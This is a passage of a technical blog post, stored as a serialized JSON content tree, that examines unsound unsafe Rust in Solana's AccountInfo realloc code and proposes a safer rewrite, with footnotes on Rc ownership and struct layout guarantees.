key_ptr",{"type":23,"tag":141,"props":16113,"children":16114},{"style":160},[16115],{"type":29,"value":1674},{"type":23,"tag":141,"props":16117,"children":16118},{"style":449},[16119],{"type":29,"value":12475},{"type":23,"tag":141,"props":16121,"children":16122},{"style":160},[16123],{"type":29,"value":322},{"type":23,"tag":141,"props":16125,"children":16126},{"style":154},[16127],{"type":29,"value":16128},"key ",{"type":23,"tag":141,"props":16130,"children":16131},{"style":449},[16132],{"type":29,"value":7518},{"type":23,"tag":141,"props":16134,"children":16135},{"style":160},[16136],{"type":29,"value":8496},{"type":23,"tag":141,"props":16138,"children":16139},{"style":449},[16140],{"type":29,"value":8334},{"type":23,"tag":141,"props":16142,"children":16143},{"style":750},[16144],{"type":29,"value":1697},{"type":23,"tag":141,"props":16146,"children":16147},{"style":449},[16148],{"type":29,"value":7504},{"type":23,"tag":141,"props":16150,"children":16151},{"style":160},[16152],{"type":29,"value":8496},{"type":23,"tag":141,"props":16154,"children":16155},{"style":449},[16156],{"type":29,"value":8334},{"type":23,"tag":141,"props":16158,"children":16159},{"style":725},[16160],{"type":29,"value":13310},{"type":23,"tag":141,"props":16162,"children":16163},{"style":154},[16164],{"type":29,"value":1684},{"type":23,"tag":141,"props":16166,"children":16167},{"class":143,"line":801},[16168,16172,16177,16181,16185,16189,16193,16197,16201,16206,16210,16214,16218,16222,16227],{"type":23,"tag":141,"props":16169,"children":16170},{"style":449},[16171],{"type":29,"value":1659},{"type":23,"tag":141,"props":16173,"children":16174},{"style":750},[16175],{"type":29,"value":16176}," original_data_len_ptr",{"type":23,"tag":141,"props":16178,"children":16179},{"style":160},[16180],{"type":29,"value":1674},{"type":23,"tag":141,"props":16182,"children":16183},{"style":750},[16184],{"type":29,"value":16111},{"type":23,"tag":141,"props":16186,"children":16187},{"style":160},[16188],{"type":29,"value":322},{"type":23,"tag":141,"props":16190,"children":16191},{"style":184},[16192],{"type":29,"value":12579},{"type":23,"tag":141,"props":16194,"children":16195},{"style":154},[16196],{"type":29,"value":192},{"type":23,"tag":141,"props":16198,"children":16199},{"style":160},[16200],{"type":29,"value":3004},{"type":23,"tag":141,"props":16202,"children":16203},{"style":472},[16204],{"type":29,"value":16205},"4",{"type":23,"tag":141,"props":16207,"children":16208},{"style":154},[16209],{"type":29,"value":1748},{"type":23,"tag":141,"props":16211,"children":16212},{"style":449},[16213],{"type":29,"value":7518},{"type":23,"tag":141,"props":16215,"children":16216},{"style":160},[16217],{"type":29,"value":8496},{"type":23,"tag":141,"props":16219,"children":16220},{"style":449},[16221],{"type":29,"value":8334},{"type":23,"tag":141,"props":16223,"children":16224},{"style":725},[16225],{"type":29,"value":16226}," u32",{"type":23,"tag":141,"props":16228,"children":16229},{"style":154},[16230],{"type":29,"value":1684},{"type":23,"tag":141,"props":16232,"children":16233},{"class":143,"line":810},[16234,16239,16244,16248],{"type":23,"tag":141,"props":16235,"children":16236},{"style":160},[16237],{"type":29,"value":16238}," *",{"type":23,"tag":141,"props":16240,"children":16241},{"style":750},[16242],{"type":29,"value":16243},"original_data_len_ptr",{"type":23,"tag":141,"props":16245,"children":16246},{"style":449},[16247],{"type":29,"value":7504},{"type":23,"tag":141,"props":16249,"children":16250},{"style":725},[16251],{"type":29,"value":15650},{"type":23,"tag":141,"props":16253,"children":16254},{"class":143,"line":824},[16255],{"type":23,"tag":141,"props":16256,"children":16257},{"style":154},[16258],{"type":29,"value":2573},{"type":23,"tag":32,"props":16260,"children":16261},{},[16262,16264,16269,16271,16276,16278,16283,16285,16290,16292,16299,16301,16308,16309,16316,16317,16324,16325,16332],{"type":29,"value":16263},"It's marked ",{"type":23,"tag":38,"props":16265,"children":16267},{"className":16266},[],[16268],{"type":29,"value":13032},{"type":29,"value":16270},", properly documented, but there's just one problem: we need this for ",{"type":23,"tag":38,"props":16272,"children":16274},{"className":16273},[],[16275],{"type":29,"value":12316},{"type":29,"value":16277},", which originally was not ",{"type":23,"tag":38,"props":16279,"children":16281},{"className":16280},[],[16282],{"type":29,"value":13032},{"type":29,"value":16284},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":23,"tag":38,"props":16286,"children":16288},{"className":16287},[],[16289],{"type":29,"value":13032},{"type":29,"value":16291}," block and added ",{"type":23,"tag":55,"props":16293,"children":16296},{"href":16294,"rel":16295},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[59],[16297],{"type":29,"value":16298},"a doc comment",{"type":29,"value":16300}," - adding to the ",{"type":23,"tag":55,"props":16302,"children":16305},{"href":16303,"rel":16304},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[59],[16306],{"type":29,"value":16307},"small",{"type":29,"value":45},{"type":23,"tag":55,"props":16310,"children":16313},{"href":16311,"rel":16312},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[59],[16314],{"type":29,"value":16315},"pile",{"type":29,"value":45},{"type":23,"tag":55,"props":16318,"children":16321},{"href":16319,"rel":16320},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[59],[16322],{"type":29,"value":16323},"of",{"type":29,"value":45},{"type":23,"tag":55,"props":16326,"children":16329},{"href":16327,"rel":16328},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[59],[16330],{"type":29,"value":16331},"functions",{"type":29,"value":16333}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":23,"tag":24,"props":16335,"children":16337},{"id":16336},"towards-safer-unsafe",[16338,16340],{"type":29,"value":16339},"Towards safer ",{"type":23,"tag":38,"props":16341,"children":16343},{"className":16342},[],[16344],{"type":29,"value":13032},{"type":23,"tag":32,"props":16346,"children":16347},{},[16348,16350,16355,16357,16362,16364,16371],{"type":29,"value":16349},"Let's circle back to that main ",{"type":23,"tag":38,"props":16351,"children":16353},{"className":16352},[],[16354],{"type":29,"value":13032},{"type":29,"value":16356}," block inside ",{"type":23,"tag":38,"props":16358,"children":16360},{"className":16359},[],[16361],{"type":29,"value":12316},{"type":29,"value":16363}," for a bit, shall we? As a reminder, it looks like ",{"type":23,"tag":55,"props":16365,"children":16368},{"href":16366,"rel":16367},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[59],[16369],{"type":29,"value":16370},"this",{"type":29,"value":114},{"type":23,"tag":131,"props":16373,"children":16375},{"className":1639,"code":16374,"language":1638,"meta":7,"style":7},"// realloc\nunsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n}\n",[16376],{"type":23,"tag":38,"props":16377,"children":16378},{"__ignoreMap":7},[16379,16387,16398,16406,16493,16524,16531,16539,16666,16697],{"type":23,"tag":141,"props":16380,"children":16381},{"class":143,"line":144},[16382],{"type":23,"tag":141,"props":16383,"children":16384},{"style":443},[16385],{"type":29,"value":16386},"// realloc\n",{"type":23,"tag":141,"props":16388,"children":16389},{"class":143,"line":180},[16390,16394],{"type":23,"tag":141,"props":16391,"children":16392},{"style":449},[16393],{"type":29,"value":13032},{"type":23,"tag":141,"props":16395,"children":16396},{"style":154},[16397],{"type":29,"value":1951},{"type":23,"tag":141,"props":16399,"children":16400},{"class":143,"line":205},[16401],{"type":23,"tag":141,"props":16402,"children":16403},{"style":443},[16404],{"type":29,"value":16405}," // First set new length in the serialized data\n",{"type":23,"tag":141,"props":16407,"children":16408},{"class":143,"line":218},[16409,16413,16417,16421,16425,16429,16433,16437,16441,16445,16449,16453,16457,16461,16465,16469,16473,16477,16481,16485,16489],{"type":23,"tag":141,"props":16410,"children":16411},{"style":449},[16412],{"type":29,"value":1659},{"type":23,"tag":141,"props":16414,"children":16415},{"style":750},[16416],{"type":29,"value":12535},{"type":23,"tag":141,"props":16418,"children":16419},{"style":160},[16420],{"type":29,"value":1674},{"type":23,"tag":141,"props":16422,"children":16423},{"style":449},[16424],{"type":29,"value":12475},{"type":23,"tag":141,"props":16426,"children":16427},{"style":160},[16428],{"type":29,"value":322},{"type":23,"tag":141,"props":16430,"children":16431},{"style":184},[16432],{"type":29,"value":12552},{"type":23,"tag":141,"props":16434,"children":16435},{"style":154},[16436],{"type":29,"value":12557},{"type":23,"tag":141,"props":16438,"children":16439},{"style":160},[16440],{"type":29,"value":1793},{"type":23,"tag":141,"props":16442,"children":16443},{"style":184},[16444],{"type":29,"value":12566},{"type":23,"tag":141,"props":16446,"children":16447},{"style":154},[16448],{"type":29,"value":12557},{"type":23,"tag":141,"props":16450,"children":16451},{"style":160},[16452],{"type":29,"value":322},{"type":23,"tag":141,"props":16454,"children":16455},{"style":184},[16456],{"type":29,"value":12579},{"type":23,"tag":141,"props":16458,"children":16459},{"style":154},[16460],{"type":29,"value":192},{"type":23,"tag":141,"props":16462,"children":16463},{"style":160},[16464],{"type":29,"value":3004},{"type":23,"tag":141,"props":16466,"children":16467},{"style":472},[16468],{"type":29,"value":2752},{"type":23,"tag":141,"props":16470,"children":16471},{"style":154},[16472],{"type":29,"value":1748},{"type":23,"tag":141,"props":16474,"children":16475},{"style":449},[16476],{"type":29,"value":7518},{"type":23,"tag":141,"props":16478,"children":16479},{"style":160},[16480],{"type":29,"value":8496},{"type":23,"tag":141,"props":16482,"children":16483},{"style":449},[16484],{"type":29,"value":2389},{"type":23,"tag":141,"props":16486,"children":16487},{"style":725},[16488],{"type":29,"value":4534},{"type":23,"tag":141,"props":16490,"children":16491},{"style":154},[16492],{"type":29,"value":1684},{"type":23,"tag":141,"props":16494,"children":16495},{"class":143,"line":227},[16496,16500,16504,16508,16512,16516,16520],{"type":23,"tag":141,"props":16497,"children":16498},{"style":160},[16499],{"type":29,"value":16238},{"type":23,"tag":141,"props":16501,"children":16502},{"style":750},[16503],{"type":29,"value":542},{"type":23,"tag":141,"props":16505,"children":16506},{"style":160},[16507],{"type":29,"value":1674},{"type":23,"tag":141,"props":16509,"children":16510},{"style":750},[16511],{"type":29,"value":12635},{"type":23,"tag":141,"props":16513,"children":16514},{"style":449},[16515],{"type":29,"value":7504},{"type":23,"tag":141,"props":16517,"children":16518},{"style":725},[16519],{"type":29,"value":4534},{"type":23,"tag":141,"props":16521,"children":16522},{"style":154},[16523],{"type":29,"value":1684},{"type":23,"tag":141,"props":16525,"children":16526},{"class":143,"line":241},[16527],{"type":23,"tag":141,"props":16528,"children":16529},{"emptyLinePlaceholder":15},[16530],{"type":29,"value":719},{"type":23,"tag":141,"props":16532,"children":16533},{"class":143,"line":262},[16534],{"type":23,"tag":141,"props":16535,"children":16536},{"style":443},[16537],{"type":29,"value":16538}," // Then set the new length in the local slice\n",{"type":23,"tag":141,"props":16540,"children":16541},{"class":143,"line":271},[16542,16546,16550,16554,16558,16562,16566,16570,16574,16578,16582,16586,16590,16594,16598,16602,16606,16610,16614,16618,16622,16626,16630,16634,16638,16642,16646,16650,16654,16658,16662],{"type":23,"tag":141,"props":16543,"children":16544},{"style":449},[16545],{"type":29,"value":1659},{"type":23,"tag":141,"props":16547,"children":16548},{"style":750},[16549],{"type":29,"value":12535},{"type":23,"tag":141,"props":16551,"children":16552},{"style":160},[16553],{"type":29,"value":1674},{"type":23,"tag":141,"props":16555,"children":16556},{"style":160},[16557],{"type":29,"value":5815},{"type":23,"tag":141,"props":16559,"children":16560},{"style":449},[16561],{"type":29,"value":2389},{"type":23,"tag":141,"props":16563,"children":16564},{"style":160},[16565],{"type":29,"value":8496},{"type":23,"tag":141,"props":16567,"children":16568},{"style":154},[16569],{"type":29,"value":12694},{"type":23,"tag":141,"props":16571,"children":16572},{"style":449},[16573],{"type":29,"value":12391},{"type":23,"tag":141,"props":16575,"children":16576},{"style":160},[16577],{"type":29,"value":322},{"type":23,"tag":141,"props":16579,"children":16580},{"style":154},[16581],{"type":29,"value":2367},{"type":23,"tag":141,"props":16583,"children":16584},{"style":160},[16585],{"type":29,"value":322},{"type":23,"tag":141,"props":16587,"children":16588},{"style":184},[16589],{"type":29,"value":12715},{"type":23,"tag":141,"props":16591,"children":16592},{"style":154},[16593],{"type":29,"value":12720},{"type":23,"tag":141,"props":16595,"children":16596},{"style":449},[16597],{"type":29,"value":7518},{"type":23,"tag":141,"props":16599,"children":16600},{"style":160},[16601],{"type":29,"value":8496},{"type":23,"tag":141,"props":16603,"children":16604},{"style":449},[16605],{"type":29,"value":8334},{"type":23,"tag":141,"props":16607,"children":16608},{"style":725},[16609],{"type":29,"value":4534},{"type":23,"tag":141,"props":16611,"children":16612},{"style":154},[16613],{"type":29,"value":1788},{"type":23,"tag":141,"props":16615,"children":16616},{"style":160},[16617],{"type":29,"value":322},{"type":23,"tag":141,"props":16619,"children":16620},{"style":184},[16621],{"type":29,"value":12579},{"type":23,"tag":141,"props":16623,"children":16624},{"style":154},[16625],{"type":29,"value":192},{"type":23,"tag":141,"props":16627,"children":16628},{"style":472},[16629],{"type":29,"value":687},{"type":23,"tag":141,"props":16631,"children":16632},{"style":154},[16633],{"type":29,"value":1748},{"type":23,"tag":141,"props":16635,"children":16636},{"style":449},[16637],{"type":29,"value":7518},{"type":23,"tag":141,"props":16639,"children":16640},{"style":725},[16641],{"type":29,"value":4534},{"type":23,"tag":141,"props":16643,"children":16644},{"style":154},[16645],{"type":29,"value":1748},{"type":23,"tag":141,"props":16647,"children":16648},{"style":449},[16649],{"type":29,"value":7518},{"type":23,"tag":141,"props":16651,"children":16652},{"style":160},[16653],{"type":29,"value":8496},{"type":23,"tag":141,"props":16655,"children":16656},{"style":449},[16657],{"type":29,"value":2389},{"type":23,"tag":141,"props":16659,"children":16660},{"style":725},[16661],{"type":29,"value":4534},{"type":23,"tag":141,"props":16663,"children":16664},{"style":154},[16665],{"type":29,"value":2496},{"type":23,"tag":141,"props":16667,"children":16668},{"class":143,"line":293},[16669,16673,16677,16681,16685,16689,16693],{"type":23,"tag":141,"props":16670,"children":16671},{"style":160},[16672],{"type":29,"value":16238},{"type":23,"tag":141,"props":16674,"children":16675},{"style":750},[16676],{"type":29,"value":542},{"type":23,"tag":141,"props":16678,"children":16679},{"style":160},[16680],{"type":29,"value":1674},{"type":23,"tag":141,"props":16682,"children":16683},{"style":750},[16684],{"type":29,"value":12635},{"type":23,"tag":141,"props":16686,"children":16687},{"style":449},[16688],{"type":29,"value":7504},{"type":23,"tag":141,"props":16690,"children":16691},{"style":725},[16692],{"type":29,"value":4534},{"type":23,"tag":141,"props":16694,"children":16695},{"style":154},[16696],{"type":29,"value":1684},{"type":23,"tag":141,"props":16698,"children":16699},{"class":143,"line":801},[16700],{"type":23,"tag":141,"props":16701,"children":16702},{"style":154},[16703],{"type":29,"value":2573},{"type":23,"tag":32,"props":16705,"children":16706},{},[16707,16709,16714],{"type":29,"value":16708},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":23,"tag":38,"props":16710,"children":16712},{"className":16711},[],[16713],{"type":29,"value":14179},{"type":29,"value":16715}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":23,"tag":32,"props":16717,"children":16718},{},[16719,16721,16726,16728,16733,16735,16740,16742,16747,16749,16754,16756,16762,16764,16774,16776,16787],{"type":29,"value":16720},"First, let's deal with the ",{"type":23,"tag":38,"props":16722,"children":16724},{"className":16723},[],[16725],{"type":29,"value":14179},{"type":29,"value":16727}," borrowing issue. When we ",{"type":23,"tag":38,"props":16729,"children":16731},{"className":16730},[],[16732],{"type":29,"value":12552},{"type":29,"value":16734},", we get a ",{"type":23,"tag":38,"props":16736,"children":16738},{"className":16737},[],[16739],{"type":29,"value":15417},{"type":29,"value":16741}," back, which represents our borrow of the ",{"type":23,"tag":38,"props":16743,"children":16745},{"className":16744},[],[16746],{"type":29,"value":14179},{"type":29,"value":16748},"'s data. The fix here is simple: keep that ",{"type":23,"tag":38,"props":16750,"children":16752},{"className":16751},[],[16753],{"type":29,"value":15417},{"type":29,"value":16755}," around and use it to access the data, instead of using ",{"type":23,"tag":38,"props":16757,"children":16759},{"className":16758},[],[16760],{"type":29,"value":16761},"RefCell::as_ptr",{"type":29,"value":16763},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":23,"tag":676,"props":16765,"children":16766},{},[16767],{"type":23,"tag":55,"props":16768,"children":16772},{"href":16769,"ariaDescribedBy":16770,"dataFootnoteRef":7,"id":16771},"#user-content-fn-rustc-llvm",[683],"user-content-fnref-rustc-llvm",[16773],{"type":29,"value":16205},{"type":29,"value":16775}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":23,"tag":676,"props":16777,"children":16778},{},[16779],{"type":23,"tag":55,"props":16780,"children":16784},{"href":16781,"ariaDescribedBy":16782,"dataFootnoteRef":7,"id":16783},"#user-content-fn-godbolt",[683],"user-content-fnref-godbolt",[16785],{"type":29,"value":16786},"5",{"type":29,"value":16788},". So then we get:",{"type":23,"tag":131,"props":16790,"children":16792},{"className":1639,"code":16791,"language":1638,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[16793],{"type":23,"tag":38,"props":16794,"children":16795},{"__ignoreMap":7},[16796,16840,16847,16854,16938,16978,16985,16992],{"type":23,"tag":141,"props":16797,"children":16798},{"class":143,"line":144},[16799,16803,16807,16812,16816,16820,16824,16828,16832,16836],{"type":23,"tag":141,"props":16800,"children":16801},{"style":449},[16802],{"type":29,"value":10467},{"type":23,"tag":141,"props":16804,"children":16805},{"style":449},[16806],{"type":29,"value":1664},{"type":23,"tag":141,"props":16808,"children":16809},{"style":750},[16810],{"type":29,"value":16811}," slice",{"type":23,"tag":141,"props":16813,"children":16814},{"style":160},[16815],{"type":29,"value":1674},{"type":23,"tag":141,"props":16817,"children":16818},{"style":449},[16819],{"type":29,"value":12475},{"type":23,"tag":141,"props":16821,"children":16822},{"style":160},[16823],{"type":29,"value":322},{"type":23,"tag":141,"props":16825,"children":16826},{"style":184},[16827],{"type":29,"value":12552},{"type":23,"tag":141,"props":16829,"children":16830},{"style":154},[16831],{"type":29,"value":12557},{"type":23,"tag":141,"props":16833,"children":16834},{"style":160},[16835],{"type":29,"value":1816},{"type":23,"tag":141,"props":16837,"children":16838},{"style":154},[16839],{"type":29,"value":1684},{"type":23,"tag":141,"props":16841,"children":16842},{"class":143,"line":180},[16843],{"type":23,"tag":141,"props":16844,"children":16845},{"emptyLinePlaceholder":15},[16846],{"type":29,"value":719},{"type":23,"tag":141,"props":16848,"children":16849},{"class":143,"line":205},[16850],{"type":23,"tag":141,"props":16851,"children":16852},{"style":443},[16853],{"type":29,"value":13079},{"type":23,"tag":141,"props":16855,"children":16856},{"class":143,"line":218},[16857,16861,16865,16869,16873,16877,16881,16885,16889,16893,16897,16901,16905,16909,16913,16918,16922,16926,16930,16934],{"type":23,"tag":141,"props":16858,"children":16859},{"style":449},[16860],{"type":29,"value":10467},{"type":23,"tag":141,"props":16862,"children":16863},{"style":750},[16864],{"type":29,"value":12535},{"type":23,"tag":141,"props":16866,"children":16867},{"style":160},[16868],{"type":29,"value":1674},{"type":23,"tag":141,"props":16870,"children":16871},{"style":449},[16872],{"type":29,"value":13266},{"type":23,"tag":141,"props":16874,"children":16875},{"style":154},[16876],{"type":29,"value":8264},{"type":23,"tag":141,"props":16878,"children":16879},{"style":750},[16880],{"type":29,"value":13990},{"type":23,"tag":141,"props":16882,"children":16883},{"style":160},[16884],{"type":29,"value":322},{"type":23,"tag":141,"props":16886,"children":16887},{"style":184},[16888],{"type":29,"value":12566},{"type":23,"tag":141,"props":16890,"children":16891},{"style":154},[16892],{"type":29,"value":12557},{"type":23,"tag":141,"props":16894,"children":16895},{"style":160},[16896],{"type":29,"value":322},{"type":23,"tag":141,"props":16898,"children":16899},{"style":184},[16900],{"type":29,"value":12579},{"type":23,"tag":141,"props":16902,"children":16903},{"style":154},[16904],{"type":29,"value":192},{"type":23,"tag":141,"props":16906,"children":16907},{"style":160},[16908],{"type":29,"value":3004},{"type":23,"tag":141,"props":16910,"children":16911},{"style":472},[16912],{"type":29,"value":2752},{"type":23,"tag":141,"props":16914,"children":16915},{"style":154},[16916],{"type":29,"value":16917},") } ",{"type":23,"tag":141,"props":16919,"children":16920},{"style":449},[16921],{"type":29,"value":7518},{"type":23,"tag":141,"props":16923,"children":16924},{"style":160},[16925],{"type":29,"value":8496},{"type":23,"tag":141,"props":16927,"children":16928},{"style":449},[16929],{"type":29,"value":2389},{"type":23,"tag":141,"props":16931,"children":16932},{"style":725},[16933],{"type":29,"value":4534},{"type":23,"tag":141,"props":16935,"children":16936},{"style":154},[16937],{"type":29,"value":1684},{"type":23,"tag":141,"props":16939,"children":16940},{"class":143,"line":227},[16941,16945,16949,16953,16957,16961,16965,16969,16973],{"type":23,"tag":141,"props":16942,"children":16943},{"style":449},[16944],{"type":29,"value":13032},{"type":23,"tag":141,"props":16946,"children":16947},{"style":154},[16948],{"type":29,"value":8264},{"type":23,"tag":141,"props":16950,"children":16951},{"style":160},[16952],{"type":29,"value":197},{"type":23,"tag":141,"props":16954,"children":16955},{"style":750},[16956],{"type":29,"value":542},{"type":23,"tag":141,"props":16958,"children":16959},{"style":160},[16960],{"type":29,"value":1674},{"type":23,"tag":141,"props":16962,"children":16963},{"style":750},[16964],{"type":29,"value":12635},{"type":23,"tag":141,"props":16966,"children":16967},{"style":449},[16968],{"type":29,"value":7504},{"type":23,"tag":141,"props":16970,"children":16971},{"style":725},[16972],{"type":29,"value":4534},{"type":23,"tag":141,"props":16974,"children":16975},{"style":154},[16976],{"type":29,"value":16977}," };\n",{"type":23,"tag":141,"props":16979,"children":16980},{"class":143,"line":241},[16981],{"type":23,"tag":141,"props":16982,"children":16983},{"emptyLinePlaceholder":15},[16984],{"type":29,"value":719},{"type":23,"tag":141,"props":16986,"children":16987},{"class":143,"line":262},[16988],{"type":23,"tag":141,"props":16989,"children":16990},{"style":443},[16991],{"type":29,"value":14816},{"type":23,"tag":141,"props":16993,"children":16994},{"class":143,"line":271},[16995,16999,17003,17007,17011,17016,17020,17024,17028,17033,17037,17041,17045,17049,17054,17058],{"type":23,"tag":141,"props":16996,"children":16997},{"style":160},[16998],{"type":29,"value":197},{"type":23,"tag":141,"props":17000,"children":17001},{"style":750},[17002],{"type":29,"value":13990},{"type":23,"tag":141,"props":17004,"children":17005},{"style":160},[17006],{"type":29,"value":1674},{"type":23,"tag":141,"props":17008,"children":17009},{"style":449},[17010],{"type":29,"value":13266},{"type":23,"tag":141,"props":17012,"children":17013},{"style":154},[17014],{"type":29,"value":17015}," { std",{"type":23,"tag":141,"props":17017,"children":17018},{"style":160},[17019],{"type":29,"value":2141},{"type":23,"tag":141,"props":17021,"children":17022},{"style":154},[17023],{"type":29,"value":13990},{"type":23,"tag":141,"props":17025,"children":17026},{"style":160},[17027],{"type":29,"value":2141},{"type":23,"tag":141,"props":17029,"children":17030},{"style":184},[17031],{"type":29,"value":17032},"from_raw_parts_mut",{"type":23,"tag":141,"props":17034,"children":17035},{"style":154},[17036],{"type":29,"value":192},{"type":23,"tag":141,"props":17038,"children":17039},{"style":750},[17040],{"type":29,"value":13990},{"type":23,"tag":141,"props":17042,"children":17043},{"style":160},[17044],{"type":29,"value":322},{"type":23,"tag":141,"props":17046,"children":17047},{"style":184},[17048],{"type":29,"value":12566},{"type":23,"tag":141,"props":17050,"children":17051},{"style":154},[17052],{"type":29,"value":17053},"(), ",{"type":23,"tag":141,"props":17055,"children":17056},{"style":750},[17057],{"type":29,"value":12400},{"type":23,"tag":141,"props":17059,"children":17060},{"style":154},[17061],{"type":29,"value":13421},{"type":23,"tag":32,"props":17063,"children":17064},{},[17065,17067,17072,17074,17079,17081,17086,17088],{"type":29,"value":17066},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":23,"tag":38,"props":17068,"children":17070},{"className":17069},[],[17071],{"type":29,"value":6717},{"type":29,"value":17073}," and not a ",{"type":23,"tag":38,"props":17075,"children":17077},{"className":17076},[],[17078],{"type":29,"value":15277},{"type":29,"value":17080}," for the size field, given that ",{"type":23,"tag":38,"props":17082,"children":17084},{"className":17083},[],[17085],{"type":29,"value":15277},{"type":29,"value":17087}," is architecture-dependent), and no dependency on slice reference internals!",{"type":23,"tag":676,"props":17089,"children":17090},{},[17091],{"type":23,"tag":55,"props":17092,"children":17096},{"href":17093,"ariaDescribedBy":17094,"dataFootnoteRef":7,"id":17095},"#user-content-fn-slice-unbound-lifetime",[683],"user-content-fnref-slice-unbound-lifetime",[17097],{"type":29,"value":17098},"6",{"type":23,"tag":1435,"props":17100,"children":17102},{"className":17101,"dataFootnotes":7},[1438],[17103,17108],{"type":23,"tag":24,"props":17104,"children":17106},{"className":17105,"id":683},[1443],[17107],{"type":29,"value":1446},{"type":23,"tag":116,"props":17109,"children":17110},{},[17111,17212,17229,17284,17297,17325],{"type":23,"tag":120,"props":17112,"children":17114},{"id":17113},"user-content-fn-rc-refs",[17115,17117,17123,17125,17130,17132,17136,17138,17142,17144,17149,17151,17157,17159,17164,17166,17176,17178,17183,17185,17190,17192,17197,17199,17205,17206],{"type":29,"value":17116},"I find it helpful to view owning an ",{"type":23,"tag":38,"props":17118,"children":17120},{"className":17119},[],[17121],{"type":29,"value":17122},"Rc\u003CT>",{"type":29,"value":17124}," as holding a shared reference to the underlying ",{"type":23,"tag":38,"props":17126,"children":17128},{"className":17127},[],[17129],{"type":29,"value":4661},{"type":29,"value":17131}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":23,"tag":47,"props":17133,"children":17134},{},[17135],{"type":29,"value":15134},{"type":29,"value":17137}," ensures that the actual ",{"type":23,"tag":47,"props":17139,"children":17140},{},[17141],{"type":29,"value":2367},{"type":29,"value":17143}," stays alive, however all you have is a reference to the ",{"type":23,"tag":38,"props":17145,"children":17147},{"className":17146},[],[17148],{"type":29,"value":4661},{"type":29,"value":17150}," (through the ",{"type":23,"tag":38,"props":17152,"children":17154},{"className":17153},[],[17155],{"type":29,"value":17156},"Deref\u003CTarget = T>",{"type":29,"value":17158}," impl) - ",{"type":23,"tag":47,"props":17160,"children":17161},{},[17162],{"type":29,"value":17163},"not",{"type":29,"value":17165}," ownership ",{"type":23,"tag":47,"props":17167,"children":17168},{},[17169,17171],{"type":29,"value":17170},"of the ",{"type":23,"tag":38,"props":17172,"children":17174},{"className":17173},[],[17175],{"type":29,"value":4661},{"type":29,"value":17177},". In short, owning an ",{"type":23,"tag":38,"props":17179,"children":17181},{"className":17180},[],[17182],{"type":29,"value":17122},{"type":29,"value":17184}," is owning a (shared, read-only) reference to ",{"type":23,"tag":38,"props":17186,"children":17188},{"className":17187},[],[17189],{"type":29,"value":4661},{"type":29,"value":17191},", not owning ",{"type":23,"tag":38,"props":17193,"children":17195},{"className":17194},[],[17196],{"type":29,"value":4661},{"type":29,"value":17198}," directly like with ",{"type":23,"tag":38,"props":17200,"children":17202},{"className":17201},[],[17203],{"type":29,"value":17204},"Box\u003CT>",{"type":29,"value":1095},{"type":23,"tag":55,"props":17207,"children":17210},{"href":17208,"ariaLabel":1481,"className":17209,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs",[1483],[17211],{"type":29,"value":1486},{"type":23,"tag":120,"props":17213,"children":17215},{"id":17214},"user-content-fn-sendsync",[17216,17222,17223],{"type":23,"tag":38,"props":17217,"children":17219},{"className":17218},[],[17220],{"type":29,"value":17221},"!Send + !Sync",{"type":29,"value":45},{"type":23,"tag":55,"props":17224,"children":17227},{"href":17225,"ariaLabel":1503,"className":17226,"dataFootnoteBackref":7},"#user-content-fnref-sendsync",[1483],[17228],{"type":29,"value":1486},{"type":23,"tag":120,"props":17230,"children":17232},{"id":17231},"user-content-fn-layout",[17233,17235,17240,17241,17254,17256,17261,17263,17268,17270,17275,17277],{"type":29,"value":17234},"Note that this is a terrible idea for yet another reason: ",{"type":23,"tag":38,"props":17236,"children":17238},{"className":17237},[],[17239],{"type":29,"value":13615},{"type":29,"value":4175},{"type":23,"tag":55,"props":17242,"children":17245},{"href":17243,"rel":17244},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[59],[17246,17248],{"type":29,"value":17247},"not declared with ",{"type":23,"tag":38,"props":17249,"children":17251},{"className":17250},[],[17252],{"type":29,"value":17253},"#[repr(C)]",{"type":29,"value":17255},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":23,"tag":47,"props":17257,"children":17258},{},[17259],{"type":29,"value":17260},"breaks the entire chain",{"type":29,"value":17262}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":23,"tag":47,"props":17264,"children":17265},{},[17266],{"type":29,"value":17267},"some",{"type":29,"value":17269}," kind of interface to the specific layout of the specific ",{"type":23,"tag":38,"props":17271,"children":17273},{"className":17272},[],[17274],{"type":29,"value":15186},{"type":29,"value":17276}," versions used to build on-chain code for all eternity... ",{"type":23,"tag":55,"props":17278,"children":17282},{"href":17279,"ariaLabel":17280,"className":17281,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 